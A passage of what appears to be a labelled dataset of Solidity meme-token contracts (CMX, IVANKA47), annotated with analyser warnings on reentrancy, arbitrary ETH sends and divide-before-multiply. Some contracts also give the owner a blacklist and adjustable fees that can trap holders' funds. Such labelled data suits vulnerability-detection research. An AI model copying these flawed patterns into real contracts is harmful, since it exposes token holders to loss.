_taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10072.sol",
"size_bytes": 21285,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract CMX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = unicode\"Chroma Infrastructure\";\n\n string private constant _symbol = unicode\"CMX\";\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 200_000_000 * 10 ** _decimals;\n\n mapping(address => bool) private _excludedFromFee;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n bool public canTrade;\n\n uint256 private _maxWalletSize = (_totalSupply * 2) / 100;\n\n uint256 private _swapTokensAtAmount = _totalSupply / 700;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90cb4e8): CMX._maxTaxSwap should be constant \n\t// Recommendation for 90cb4e8: Add the 'constant' attribute to state variables that never change.\n uint256 private _maxTaxSwap = _totalSupply / 100;\n\n bool private inSwap;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dd6852b): CMX._ecosystemWallet should be immutable \n\t// Recommendation for dd6852b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public _ecosystemWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 182205d): CMX.uniswapV2Router should be immutable \n\t// Recommendation for 182205d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n uint256 public _buyTaxes = 3;\n\n uint256 public _sellTaxes = 3;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a3a9169): CMX._uniswapV2Pair should be immutable \n\t// Recommendation for a3a9169: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _uniswapV2Pair;\n\n bool private swapEnabled = true;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _ecosystemWallet = payable(_msgSender());\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _excludedFromFee[address(uniswapV2Router)] = true;\n\n _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n\n _excludedFromFee[address(this)] = true;\n\n _excludedFromFee[msg.sender] = true;\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8b49a0c): CMX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8b49a0c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f17fc7d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f17fc7d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 74f9c2f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 74f9c2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f17fc7d\n\t\t// reentrancy-benign | ID: 74f9c2f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f17fc7d\n\t\t// reentrancy-benign | ID: 74f9c2f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 646ee45): CMX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 646ee45: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n\t\t// reentrancy-benign | ID: 74f9c2f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f17fc7d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 02baaf5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 02baaf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 10bc5e6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 10bc5e6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n uint256 taxAmount = 0;\n\n require(to != address(0));\n\n if (\n !_excludedFromFee[from] && !_excludedFromFee[to] && from != owner()\n ) {\n require(canTrade);\n\n taxAmount = (amount * _buyTaxes) / 100;\n\n if (to != _uniswapV2Pair) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Over max wallet!\"\n );\n }\n\n if (to == _uniswapV2Pair) {\n taxAmount = (amount * _sellTaxes) / 100;\n\n require(_swapTokensAtAmount < _totalSupply);\n }\n\n if (from == _uniswapV2Pair) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Over max wallet!\"\n );\n }\n\n uint256 contractBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == _uniswapV2Pair &&\n swapEnabled &&\n contractBalance > _swapTokensAtAmount\n ) {\n\t\t\t\t// reentrancy-events | ID: 02baaf5\n\t\t\t\t// reentrancy-eth | ID: 10bc5e6\n swapTokensForEth(\n min(amount, min(contractBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f17fc7d\n\t\t\t\t\t// reentrancy-events | ID: 02baaf5\n\t\t\t\t\t// reentrancy-eth | ID: 10bc5e6\n _ecosystemWallet.transfer(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 10bc5e6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 02baaf5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 10bc5e6\n _balances[from] -= (amount);\n\n\t\t// reentrancy-eth | ID: 10bc5e6\n _balances[to] += amount - taxAmount;\n\n\t\t// reentrancy-events | ID: 02baaf5\n emit Transfer(from, to, amount - (taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f17fc7d\n\t\t// reentrancy-events | ID: 02baaf5\n\t\t// reentrancy-benign | ID: 74f9c2f\n\t\t// reentrancy-eth | ID: 10bc5e6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function beginTrading() external onlyOwner {\n canTrade = true;\n }\n\n function setSwapEnabled(bool status) external onlyOwner {\n swapEnabled = status;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e67d0ad): CMX.setSwapTokensAtAmount(uint256) should emit an event for _swapTokensAtAmount = amount \n\t// Recommendation for e67d0ad: Emit an event for critical parameter changes.\n function setSwapTokensAtAmount(uint amount) external onlyOwner {\n\t\t// events-maths | ID: e67d0ad\n _swapTokensAtAmount = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a64ea30): CMX.setFees(uint256,uint256) should emit an event for _buyTaxes = __buyTaxes _sellTaxes = __sellTaxes \n\t// Recommendation for a64ea30: Emit an event for critical parameter changes.\n function setFees(uint __buyTaxes, uint __sellTaxes) external onlyOwner {\n\t\t// events-maths | ID: a64ea30\n _buyTaxes = __buyTaxes;\n\n\t\t// events-maths | ID: a64ea30\n _sellTaxes = __sellTaxes;\n\n require(__buyTaxes <= 30);\n\n require(__sellTaxes <= 30);\n }\n\n function removeLimits() external onlyOwner {\n _buyTaxes = 0;\n\n _sellTaxes = 0;\n\n _maxWalletSize = _totalSupply;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10073.sol",
"size_bytes": 14375,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 13ea484): IVANKA.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 13ea484: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4b972f1): IVANKA.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 4b972f1: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f1a6d88): IVANKA.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 1 * (_tTotal / 100)\n// Recommendation for f1a6d88: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 85e74ac): IVANKA.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 1 * (_tTotal / 100)\n// Recommendation for 85e74ac: Consider ordering multiplication before division.\ncontract IVANKA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d1954bc): IVANKA._taxWallet should be immutable \n\t// Recommendation for d1954bc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec2763c): IVANKA._initialBuyTax should be constant \n\t// Recommendation for ec2763c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e64339f): IVANKA._initialSellTax should be constant \n\t// Recommendation for e64339f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: d9b79d2): IVANKA._finalBuyTax should be constant \n\t// Recommendation for d9b79d2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b92ee3): IVANKA._finalSellTax should be constant \n\t// Recommendation for 3b92ee3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 455bcfd): IVANKA._reduceBuyTaxAt should be constant \n\t// Recommendation for 455bcfd: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65ef61d): IVANKA._reduceSellTaxAt should be constant \n\t// Recommendation for 65ef61d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: adccdb4): IVANKA._preventSwapBefore should be constant \n\t// Recommendation for adccdb4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump's Daughter\";\n\n string private constant _symbol = unicode\"IVANKA47\";\n\n\t// divide-before-multiply | ID: 85e74ac\n uint256 public _maxTxAmount = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: f1a6d88\n uint256 public _maxWalletSize = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 2aa1b5f): IVANKA._taxSwapThreshold should be constant \n\t// Recommendation for 2aa1b5f: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 4b972f1\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 69d779a): IVANKA._maxTaxSwap should be constant \n\t// Recommendation for 69d779a: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 13ea484\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(80).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(20).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(80).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(20).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b293214): IVANKA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b293214: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9452f2e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9452f2e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6408d71): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6408d71: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9452f2e\n\t\t// reentrancy-benign | ID: 6408d71\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9452f2e\n\t\t// reentrancy-benign | ID: 6408d71\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d20b730): IVANKA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d20b730: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6408d71\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9452f2e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f31df41): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f31df41: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1cbbd82): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1cbbd82: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f31df41\n\t\t\t\t// reentrancy-eth | ID: 1cbbd82\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f31df41\n\t\t\t\t\t// reentrancy-eth | ID: 1cbbd82\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1cbbd82\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1cbbd82\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1cbbd82\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f31df41\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1cbbd82\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1cbbd82\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f31df41\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f31df41\n\t\t// reentrancy-events | ID: 9452f2e\n\t\t// reentrancy-benign | ID: 6408d71\n\t\t// reentrancy-eth | ID: 1cbbd82\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 006ab05): IVANKA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 006ab05: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f31df41\n\t\t// reentrancy-events | ID: 9452f2e\n\t\t// reentrancy-eth | ID: 1cbbd82\n\t\t// arbitrary-send-eth | ID: 006ab05\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 55d16b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 55d16b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8f87a7f): IVANKA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8f87a7f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b3553ff): IVANKA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b3553ff: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dddc2ee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dddc2ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 55d16b8\n\t\t// reentrancy-eth | ID: dddc2ee\n 